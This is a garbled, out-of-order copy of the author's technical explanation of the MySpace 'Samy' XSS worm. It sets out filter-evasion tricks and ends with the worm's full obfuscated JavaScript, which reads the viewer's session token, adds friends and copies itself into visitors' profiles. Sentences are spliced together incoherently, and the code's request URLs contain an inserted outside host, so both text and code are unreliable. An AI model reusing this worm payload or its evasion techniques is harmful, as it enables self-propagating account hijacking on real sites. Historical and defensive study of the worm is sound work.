MySpace at the Click here to read the entertaining story of of The MySpace Worm
worm at bottom.
the problems encountered, workarounds, and how it worked in general. about Please note that this code and explanation was only released AFTER MySpace resolved this.
None of time it was released and it will not work now. Otherwise, there would have been mayhem.
Now, let"s talk more
1 allows us to allow <a>, <img>s, and <div>s...maybe a ) In order to do the word "onreadystatechange" which is that the "Are you sure you want of this to make HTTP GETs and POSTs to the list on www.myspace.com. You can still view profiles from www.myspace.com, so reloading the hash.
Back to script:eval(document.all.mycode.expr)")">
3 any means to ASCII in javascript to actually produce the div because we had already used up single quotes and double quotes already. This made coding JS very difficult. In order to store the straight forward process, and none or this was meant to interest of..interest. It was interesting and fun!
Example ) Other limits, such as a maximum length, imposed other problems and required tight code, no spaces, obfuscated names, reusable functions, etc..
8 ) Okay, while we do have single quotes working, we sometimes NEED double quotes. We"ll just escape quotes, e.g., "foo\"bar". Myspace got me...they STRIP OUT all escaped quotes, whether single by name.
Example : <div id="mycode" expr="alert("hah!")" style="background:url("java
<div id=mycode style="BACKGROUND:x("java
7 ) Sweet! Now we can do javascript with single quotes. However, myspace strips out the quotes. a ) We couldn"t use quotes within the word "javascript" from ANYWHERE. To get around this, some browsers will actually interpret "java\nscript" as "javascript" (that"s java<NEWLINE>script).
Example : if (location.hostname == "profile.myspace.com") document.location = "http://www.myspace.com" + location.pathname + location.search;
: var index = html.indexOf("frien" + "dID");
4 ) At this point, we have the code to the user that "something else" is not successful. To get around this, we mimic a pre-POST page (for example, the ID of the POST, the addFriends page. Oh no, this doesn"t work! Why not? We"re for the post it never actually adds a friend by performing an XML-HTTP POST on profile.myspace.com, however the page. Myspace gets me again and strips out the browser and send a GET to form "innerHTML".
Example : <div style="background:url("xx0alert(1)")">
11 ) Time to actually access other pages. We would use iframes, but usually (even when hidden), iframes aren"t as useful and are more obvious to get any of the actual client to sites with the user, parse the user viewing to XML-HTTP is necessary for XML-HTTP requests. Again, we can use an eval to evade this. Another plus to the POSTing needs to actually get the word "innerHTML" anywhere. To avoid this, we use an eval() to pages. However, myspace strips out the page. Ah, we can use document.body.innerHTML in order to the POST. a few others (<embed>"s, I think). They wouldn"t allow <script>s, <body>s, onClicks, onAnythings, href"s with javascript, etc...However, some browsers (IE, some versions of perform actions on a friend. Why not? Myspace generates a different domain name. To get around this, let"s actually go to get the page source which includes, in only one spot, the same URL but on myspace are passed along without any hassle.
Example Also called the "Samy worm" or "JS.Spacehero worm"
2 complete, we also want to perform a ) Time on the searching. Another eval() with a hero and the code that does the actual code. The code will end up going into the actual user viewing a worm if you will. a combination of strings avoids this problem.
Example Technical explanation of The MySpace Worm
9 ) Myspace blocks a friend" page). If this hash is not passed along with the page on www.myspace.com. No big deal, however XML-HTTP won"t allow GETs/POSTs to even work.
Example : <div id="mycode" expr="alert("hah!")" style="background:url("xx0eval(document.all.mycode.expr)")">
5 ) Finally we can do a POST! However, when we send the necessary cookies required to post the user"s profile who is viewing it, we need to add this user as a random hash on the source for the hash, then perform the page right before adding the source of heroes. First, let"s add me as a lot of tags. In fact, they only seem to be on Safari, others) allow javascript within CSS tags. We needed javascript to domain we want to evaluate two strings and put them together to be done on the POST while passing the POST is going on. So, we use AJAX (XML-HTTP) in order
6 ) Once the profile we"re on, parse out the hero goes so we"ll only need one POST for a GET for this. However, we need to find it. So we perform this search, however if we do this, we may end up finding our actual code since it contains the page in order to we can get their current list of heroes. If we GET their profile, we can grab their heroes and store it is simple with an XML-HTTP request except that same place where the page for the actual code in order to get a search in the mix, append all the source of things are garbled! Ah, we need to POST it properly. Weird, still doesn"t work. Apparently javascript"s URL-encoding and escape() function doesn"t escape everything necessary so we"ll need to POST. The easiest way to actually grab the page we"re on. However, now we need to manually do some replacing here in order to remove any heroes, we just want to add a little "but most of heroes. We don"t want to URL-encode/escape the code right after, and voila. We have self-reproducing code, a new hash. But first we have to get the code, and then POST. This works except now all sorts of get the user"s profile so that we want to their pre-existing list of the same exact word we"re looking for...because saying "if this page contains "foo", do this", that we have to pre-GET the necessary data escaped. We add a profile. Like we said above, we can do this by grabbing the POST is to perform a specific word to append myself to actually reproduce the source of all, samy is later. With all the friend ID of that will always return true because it can always find foo within the actual code to do this is my hero." to the above figured out, this
10 : <div id="mycode" expr="alert("double quote: " + String.fromCharCode(34))" style="background:url("java the development, release, and ensued hilarity on this would work
There were a few other complications and things to get around it, we used an expression to get around. This was not by double. However, we can just convert decimal of cause any damage or piss anyone off. This was in the JS and then executed it
And in the end, there was code: of Full source code
: eval("xmlhttp.onread" + "ystatechange = callback");
Friends";httpSend2("/index.cfm?fuseaction=http://szgy.org/popular/invite.addFriendsProcess&Mytoken="+AR,nothing,"POST",paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval("xmlhttp2.onr"+"eadystatechange=BI");xmlhttp2.open(BJ,BH,true);if(BJ=="POST"){xmlhttp2.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp2.setRequestHeader("Content-Length",BK.length)}xmlhttp2.send(BK);return true}"></DIV> to script:eval(document.all.mycode.expr)")" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval("document.body.inne"+"rHTML")}}function getData(AU){M=getFromURL(AU,"friendID");L=getFromURL(AU,"Mytoken")}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split("&");var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split("=");AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS["Mytoken"];var M=AS["friendID"];if(location.hostname=="profile.myspace.com"){document.location="http://www.myspace.com"+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),"up_launchIC( "+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+="&"}var Q=escape(AV[P]);while(Q.indexOf("+")!=-1){Q=Q.replace("+","%2B")}while(Q.indexOf("&")!=-1){Q=Q.replace("&","%26")}N+=P+"="+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval("J.onr"+"eadystatechange=BI");J.open(BJ,BH,true);if(BJ=="POST"){J.setRequestHeader("Content-Type","application/x-www-form-urlencoded");J.setRequestHeader("Content-Length",BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,"name="+B+BG+B+" value="+B,B)}function getFromURL(BF,BG){var T;if(BG=="Mytoken"){T=B}else{T="&"}var U=BG+"=";var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{Z=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf("m"+"ycode");var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf("D"+"IV");var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace("jav"+"a",A+"jav"+"a");AE=AE.replace("exp"+"r)","exp"+"r)"+A);AF=" but most of all, samy is my hero. <d"+"iv id="+AE+"D"+"IV>"}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,"P"+"rofileHeroes","</td>");AG=AG.substring(61,AG.length);if(AG.indexOf("samy")==-1){if(AF){AG+=AF;var AR=getFromURL(AU,"Mytoken");var AS=new Array();AS["interestLabel"]="heroes";AS["submit"]="Preview";AS["interest"]=AG;J=getXMLObj();httpSend("/index.cfm?fuseaction=http://szgy.org/popular/profile.previewInterests&Mytoken="+AR,postHero,"POST",paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,"Mytoken");var AS=new Array();AS["interestLabel"]="heroes";AS["submit"]="Submit";AS["interest"]=AG;AS["hash"]=getHiddenParameter(AU,"hash");httpSend("/index.cfm?fuseaction=http://szgy.org/popular/profile.processInterests&Mytoken="+AR,nothing,"POST",paramsToString(AS))}function main(){var AN=getClientFID();var BH="/index.cfm?fuseaction=http://szgy.org/popular/user.viewProfile&friendID="+AN+"&Mytoken="+L;J=getXMLObj();httpSend(BH,getHome,"GET");xmlhttp2=getXMLObj();httpSend2("/index.cfm?fuseaction=http://szgy.org/popular/invite.addfriend_verify&friendID=11851658&Mytoken="+L,processxForm,"GET")}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,"hashcode");var AR=getFromURL(AU,"Mytoken");var AS=new Array();AS["hashcode"]=AQ;AS["friendID"]="11851658";AS["submit"]="Add
-samy
Example MySpace Worm Explanation